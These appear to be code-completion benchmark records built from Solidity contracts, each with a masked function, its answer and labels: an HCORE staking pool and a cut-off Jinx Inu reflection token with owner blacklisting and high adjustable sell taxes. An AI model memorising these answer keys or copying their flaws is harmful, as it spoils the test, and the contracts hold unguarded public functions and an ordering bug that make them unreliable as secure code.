contract HCVpoolETH is LPTokenWrapper, IRewardDistributionRecipient { IHCOREToken public hcore = IHCOREToken(0xa73e6cbd2D8b0498591eebC3F6E6a1678A7ecdbC); //define token uint256 public DURATION = 1 weeks; uint256 public NUMBER_EPOCHS = 100000000; uint256 public EPOCH_REWARD = 10 ether; uint256 public currentEpochReward = EPOCH_REWARD; uint256 public firstEpochReward = EPOCH_REWARD; uint256 public totalAccumulatedReward = 0; uint256 public currentEpoch = 1; uint256 public starttime = 1601467200; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public epochDuration = DURATION; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public accumulatedStakingPower; // will accumulate every time staker does getReward() uint256 public burnAmountTest= 0; address public rewardStake; event RewardAdded(uint256 reward); event Burned(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event CommissionPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) {<FILL_FUNCTION_BODY> } function earned(address account) public view returns (uint256) { uint256 calculatedEarned = balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); return calculatedEarned; } function stakingPower(address account) public view returns (uint256) { return accumulatedStakingPower[account].add(earned(account)); } function stake(uint256 amount) public updateReward(msg.sender) checkNextEpoch checkStart { require(amount > 0, "Cannot stake 0"); super.tokenStake(amount); emit Staked(msg.sender, amount); } function getPeriodFinish() public view returns (uint256){ return periodFinish; } function getReward() public updateReward(msg.sender) checkNextEpoch checkStart returns (uint256) { uint256 reward = earned(msg.sender); if (reward > 1) { accumulatedStakingPower[msg.sender] = accumulatedStakingPower[msg.sender].add(rewards[msg.sender]); rewards[msg.sender] = 0; hcore.transfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); return reward; } return 0; } function IGetBurnPoolAmount() public returns (uint256){ burnAmountTest= hcore.getBurnPoolAmount(); return burnAmountTest; } function getcheck() public view returns(uint256){ return burnAmountTest; } function ISetBurnPoolAmount() public { hcore.setBurnPoolAmount(); } function nextRewardMultiplier() public view returns (uint16) { if (rewardVote != address(0)) { uint16 votingValue = IHCOREVote(rewardVote).averageVotingValue(address(this), periodFinish); if (votingValue > 0) return votingValue; } return 100; } modifier checkNextEpoch() { if (block.timestamp >= periodFinish) { uint256 rewardMultiplier = nextRewardMultiplier(); // 50% -> 200% (by vote) if (currentEpochReward > 0) { currentEpochReward = EPOCH_REWARD.mul(rewardMultiplier).div(100); hcore.mint(address(this), currentEpochReward); burnAmountTest= hcore.getBurnPoolAmount(); currentEpochReward = currentEpochReward+burnAmountTest; hcore.setBurnPoolAmount(); totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward); currentEpoch++; } rewardRate = currentEpochReward.div(DURATION); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(currentEpochReward); } _; } modifier checkStart() { require(block.timestamp > starttime, "not start"); _; } }
contract HCVpoolETH is LPTokenWrapper, IRewardDistributionRecipient { IHCOREToken public hcore = IHCOREToken(0xa73e6cbd2D8b0498591eebC3F6E6a1678A7ecdbC); //define token uint256 public DURATION = 1 weeks; uint256 public NUMBER_EPOCHS = 100000000; uint256 public EPOCH_REWARD = 10 ether; uint256 public currentEpochReward = EPOCH_REWARD; uint256 public firstEpochReward = EPOCH_REWARD; uint256 public totalAccumulatedReward = 0; uint256 public currentEpoch = 1; uint256 public starttime = 1601467200; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public epochDuration = DURATION; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public accumulatedStakingPower; // will accumulate every time staker does getReward() uint256 public burnAmountTest= 0; address public rewardStake; event RewardAdded(uint256 reward); event Burned(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event CommissionPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } <FILL_FUNCTION> function earned(address account) public view returns (uint256) { uint256 calculatedEarned = balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); return calculatedEarned; } function stakingPower(address account) public view returns (uint256) { return accumulatedStakingPower[account].add(earned(account)); } function stake(uint256 amount) public updateReward(msg.sender) checkNextEpoch checkStart { require(amount > 0, "Cannot stake 0"); super.tokenStake(amount); emit Staked(msg.sender, amount); } function getPeriodFinish() public view returns (uint256){ return periodFinish; } function getReward() public updateReward(msg.sender) checkNextEpoch checkStart returns (uint256) { uint256 reward = earned(msg.sender); if (reward > 1) { accumulatedStakingPower[msg.sender] = accumulatedStakingPower[msg.sender].add(rewards[msg.sender]); rewards[msg.sender] = 0; hcore.transfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); return reward; } return 0; } function IGetBurnPoolAmount() public returns (uint256){ burnAmountTest= hcore.getBurnPoolAmount(); return burnAmountTest; } function getcheck() public view returns(uint256){ return burnAmountTest; } function ISetBurnPoolAmount() public { hcore.setBurnPoolAmount(); } function nextRewardMultiplier() public view returns (uint16) { if (rewardVote != address(0)) { uint16 votingValue = IHCOREVote(rewardVote).averageVotingValue(address(this), periodFinish); if (votingValue > 0) return votingValue; } return 100; } modifier checkNextEpoch() { if (block.timestamp >= periodFinish) { uint256 rewardMultiplier = nextRewardMultiplier(); // 50% -> 200% (by vote) if (currentEpochReward > 0) { currentEpochReward = EPOCH_REWARD.mul(rewardMultiplier).div(100); hcore.mint(address(this), currentEpochReward); burnAmountTest= hcore.getBurnPoolAmount(); currentEpochReward = currentEpochReward+burnAmountTest; hcore.setBurnPoolAmount(); totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward); currentEpoch++; } rewardRate = currentEpochReward.div(DURATION); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(currentEpochReward); } _; } modifier checkStart() { require(block.timestamp > starttime, "not start"); _; } }
if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) );
function rewardPerToken() public view returns (uint256)
function rewardPerToken() public view returns (uint256)
3253
JinxInu
setProtectionSettings
contract JinxInu is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _liquidityHolders; uint256 private startingSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; struct CurrentFees { uint16 reflect; uint16 totalSwap; } struct Fees { uint16 reflect; uint16 liquidity; uint16 marketing; uint16 totalSwap; } struct StaticValuesStruct { uint16 maxReflect; uint16 maxLiquidity; uint16 maxMarketing; uint16 masterTaxDivisor; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 total; } CurrentFees private currentTaxes = CurrentFees({ reflect: 0, totalSwap: 0 }); Fees public _buyTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 800, totalSwap: 1000 }); Fees public _sellTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 2200, totalSwap: 2400 }); Fees public _transferTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 800, totalSwap: 1000 }); Ratios public _ratios = Ratios({ liquidity: 2, marketing: 8, total: 10 }); StaticValuesStruct public staticVals = StaticValuesStruct({ maxReflect: 1000, maxLiquidity: 1000, maxMarketing: 1000, masterTaxDivisor: 10000 }); IRouter02 public dexRouter; address public currentRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; address liquidity; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xeFcd06Ba9f0e886609Ea20D635f145868C7C16C1), liquidity: address(0) }); bool inSwap; bool public contractSwapEnabled = false; uint256 private _maxTxAmount = 25; uint256 private _maxWalletSize = 45; uint256 private swapThreshold; uint256 private swapAmount; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool private contractInitialized = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event ContractSwapEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { // Set the owner. _owner = msg.sender; if (block.chainid == 56) { currentRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E; } else if (block.chainid == 97) { currentRouter = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; } else if (block.chainid == 1 || block.chainid == 4) { currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else { revert(); } _taxWallets.liquidity = owner(); _approve(msg.sender, currentRouter, type(uint256).max); _approve(address(this), currentRouter, type(uint256).max); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; } function intializeContract(address[] memory accounts, uint256[] memory amounts, address _antiSnipe) external onlyOwner { require(!contractInitialized, "1"); require(accounts.length < 200, "2"); require(accounts.length == amounts.length, "3"); startingSupply = 975_000_000_000_000; antiSnipe = AntiSnipe(_antiSnipe); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.transfer(address(this)) {} catch {} if (startingSupply < 10000000000) { _decimals = 18; } else { _decimals = 9; } _tTotal = startingSupply * (10**_decimals); _rTotal = (~uint256(0) - (~uint256(0) % _tTotal)); _name = "Jinx Inu"; _symbol = "JINX"; dexRouter = IRouter02(currentRouter); lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; swapThreshold = (_tTotal * 5) / 10000; swapAmount = (_tTotal * 10) / 10000; contractInitialized = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); _approve(address(this), address(dexRouter), type(uint256).max); for(uint256 i = 0; i < accounts.length; i++){ uint256 amount = amounts[i] * 10**_decimals; _transfer(owner(), accounts[i], amount); } _transfer(owner(), address(this), balanceOf(owner())); dexRouter.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); enableTrading(); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function changeRouterContingency(address router) external onlyOwner { require(!_hasLiqBeenAdded); currentRouter = router; } function getCirculatingSupply() public view returns (uint256) { return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0)))); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludedFromReward(address account, bool enabled) public onlyOwner { if (enabled) { require(!_isExcluded[account], "Account is already excluded."); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; if(account != lpPair){ _excluded.push(account); } } else if (!enabled) { require(_isExcluded[account], "Account is already included."); if (account == lpPair) { _rOwned[account] = _tOwned[account] * _getRate(); _tOwned[account] = 0; _isExcluded[account] = false; } else if(_excluded.length == 1) { _rOwned[account] = _tOwned[account] * _getRate(); _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); } else { for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _rOwned[account] = _tOwned[account] * _getRate(); _isExcluded[account] = false; _excluded.pop(); break; } } } } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function setInitializer(address initializer) external onlyOwner { require(!_hasLiqBeenAdded, "Liquidity is already in."); require(initializer != address(this), "Can't be self."); antiSnipe = AntiSnipe(initializer); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function removeBlacklisted(address account) external onlyOwner { antiSnipe.removeBlacklisted(account); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function getSniperAmt() public view returns (uint256) { return antiSnipe.getSniperAmt(); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _algo) external onlyOwner {<FILL_FUNCTION_BODY> } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 75, "Too low."); antiSnipe.setGasPriceLimit(gas); } function setTaxesBuy(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _buyTaxes.liquidity = liquidity; _buyTaxes.reflect = reflect; _buyTaxes.marketing = marketing; _buyTaxes.totalSwap = check - reflect; } function setTaxesSell(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _sellTaxes.liquidity = liquidity; _sellTaxes.reflect = reflect; _sellTaxes.marketing = marketing; _sellTaxes.totalSwap = check - reflect; } function setTaxesTransfer(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _transferTaxes.liquidity = liquidity; _transferTaxes.reflect = reflect; _transferTaxes.marketing = marketing; _transferTaxes.totalSwap = check - reflect; } function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner { _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.total = liquidity + marketing; } function setMaxTxPercent(uint256 percent) external onlyOwner { require(percent >= 10, "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = percent; } function setMaxWalletSize(uint256 percent) external onlyOwner { require(percent >= 45, "Max Transaction amt must be above 0.45% of total supply."); _maxWalletSize = percent; } function getMaxTX() public view returns (uint256) { return ((getCirculatingSupply() * _maxTxAmount) / 10000) / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return ((getCirculatingSupply() * _maxWalletSize) / 10000) / (10**_decimals); } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketing) external onlyOwner { _taxWallets.marketing = payable(marketing); } function setLiquidityWallet(address wallet) external onlyOwner { require (wallet != DEAD); _taxWallets.liquidity = wallet; } function setContractSwapEnabled(bool _enabled) public onlyOwner { contractSwapEnabled = _enabled; emit ContractSwapEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && tx.origin != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(lpPairs[from] || lpPairs[to]){ if (_maxTxAmount < 10000) { require(amount <= (_maxTxAmount * getCirculatingSupply()) / 10000, "Transfer amount exceeds the maxTxAmount."); } } if(to != currentRouter && !lpPairs[to] && _maxWalletSize < 10000) { require(balanceOf(to) + amount <= (_maxWalletSize * getCirculatingSupply()) / 10000, "Transfer amount exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwap && contractSwapEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function contractSwap(uint256 contractTokenBalance) private lockTheSwap { if (_ratios.total == 0) return; if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * _ratios.liquidity) / _ratios.total) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( toSwapForEth, 0, path, address(this), block.timestamp ); uint256 liquidityBalance = ((address(this).balance * _ratios.liquidity) / _ratios.total) / 2; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, _taxWallets.liquidity, block.timestamp ); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (address(this).balance > 0 && _ratios.total - _ratios.liquidity > 0) { _taxWallets.marketing.transfer(address(this).balance); } } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} tradingEnabled = true; } function sweepContingency() external onlyOwner { require(!_hasLiqBeenAdded, "Cannot call after liquidity."); payable(owner()).transfer(address(this).balance); } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _transfer(msg.sender, accounts[i], amounts[i]*10**_decimals); } } function multiSendPercents(address[] memory accounts, uint256[] memory percents, uint256[] memory divisors) external { require(accounts.length == percents.length && percents.length == divisors.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= (_tTotal * percents[i]) / divisors[i]); _transfer(msg.sender, accounts[i], (_tTotal * percents[i]) / divisors[i]); } } struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tSwap; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } function _finalizeTransfer(address from, address to, uint256 tAmount, bool takeFee) private returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } ExtraValues memory values = _getValues(from, to, tAmount, takeFee); _rOwned[from] = _rOwned[from] - values.rAmount; _rOwned[to] = _rOwned[to] + values.rTransferAmount; if (_isExcluded[from]) { _tOwned[from] = _tOwned[from] - tAmount; } if (_isExcluded[to]) { _tOwned[to] = _tOwned[to] + values.tTransferAmount; } if (values.tSwap > 0) { _rOwned[address(this)] = _rOwned[address(this)] + (values.tSwap * _getRate()); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + values.tSwap; emit Transfer(from, address(this), values.tSwap); // Transparency is the key to success. } if (values.rFee > 0 || values.tFee > 0) { _rTotal -= values.rFee; } emit Transfer(from, to, values.tTransferAmount); return true; } function _getValues(address from, address to, uint256 tAmount, bool takeFee) private returns (ExtraValues memory) { ExtraValues memory values; uint256 currentRate = _getRate(); values.rAmount = tAmount * currentRate; if (_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, tAmount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } if(takeFee) { if (lpPairs[to]) { currentTaxes.reflect = _sellTaxes.reflect; currentTaxes.totalSwap = _sellTaxes.totalSwap; } else if (lpPairs[from]) { currentTaxes.reflect = _buyTaxes.reflect; currentTaxes.totalSwap = _buyTaxes.totalSwap; } else { currentTaxes.reflect = _transferTaxes.reflect; currentTaxes.totalSwap = _transferTaxes.totalSwap; } values.tFee = (tAmount * currentTaxes.reflect) / staticVals.masterTaxDivisor; values.tSwap = (tAmount * currentTaxes.totalSwap) / staticVals.masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tSwap); values.rFee = values.tFee * currentRate; } else { values.tFee = 0; values.tSwap = 0; values.tTransferAmount = tAmount; values.rFee = 0; } values.rTransferAmount = values.rAmount - (values.rFee + (values.tSwap * currentRate)); return values; } function _getRate() internal view returns(uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint8 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return _rTotal / _tTotal; rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return _rTotal / _tTotal; return rSupply / tSupply; } }
contract JinxInu is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _liquidityHolders; uint256 private startingSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; struct CurrentFees { uint16 reflect; uint16 totalSwap; } struct Fees { uint16 reflect; uint16 liquidity; uint16 marketing; uint16 totalSwap; } struct StaticValuesStruct { uint16 maxReflect; uint16 maxLiquidity; uint16 maxMarketing; uint16 masterTaxDivisor; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 total; } CurrentFees private currentTaxes = CurrentFees({ reflect: 0, totalSwap: 0 }); Fees public _buyTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 800, totalSwap: 1000 }); Fees public _sellTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 2200, totalSwap: 2400 }); Fees public _transferTaxes = Fees({ reflect: 100, liquidity: 200, marketing: 800, totalSwap: 1000 }); Ratios public _ratios = Ratios({ liquidity: 2, marketing: 8, total: 10 }); StaticValuesStruct public staticVals = StaticValuesStruct({ maxReflect: 1000, maxLiquidity: 1000, maxMarketing: 1000, masterTaxDivisor: 10000 }); IRouter02 public dexRouter; address public currentRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; address liquidity; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xeFcd06Ba9f0e886609Ea20D635f145868C7C16C1), liquidity: address(0) }); bool inSwap; bool public contractSwapEnabled = false; uint256 private _maxTxAmount = 25; uint256 private _maxWalletSize = 45; uint256 private swapThreshold; uint256 private swapAmount; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool private contractInitialized = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event ContractSwapEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { // Set the owner. _owner = msg.sender; if (block.chainid == 56) { currentRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E; } else if (block.chainid == 97) { currentRouter = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; } else if (block.chainid == 1 || block.chainid == 4) { currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else { revert(); } _taxWallets.liquidity = owner(); _approve(msg.sender, currentRouter, type(uint256).max); _approve(address(this), currentRouter, type(uint256).max); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; } function intializeContract(address[] memory accounts, uint256[] memory amounts, address _antiSnipe) external onlyOwner { require(!contractInitialized, "1"); require(accounts.length < 200, "2"); require(accounts.length == amounts.length, "3"); startingSupply = 975_000_000_000_000; antiSnipe = AntiSnipe(_antiSnipe); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.transfer(address(this)) {} catch {} if (startingSupply < 10000000000) { _decimals = 18; } else { _decimals = 9; } _tTotal = startingSupply * (10**_decimals); _rTotal = (~uint256(0) - (~uint256(0) % _tTotal)); _name = "Jinx Inu"; _symbol = "JINX"; dexRouter = IRouter02(currentRouter); lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; swapThreshold = (_tTotal * 5) / 10000; swapAmount = (_tTotal * 10) / 10000; contractInitialized = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); _approve(address(this), address(dexRouter), type(uint256).max); for(uint256 i = 0; i < accounts.length; i++){ uint256 amount = amounts[i] * 10**_decimals; _transfer(owner(), accounts[i], amount); } _transfer(owner(), address(this), balanceOf(owner())); dexRouter.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, // 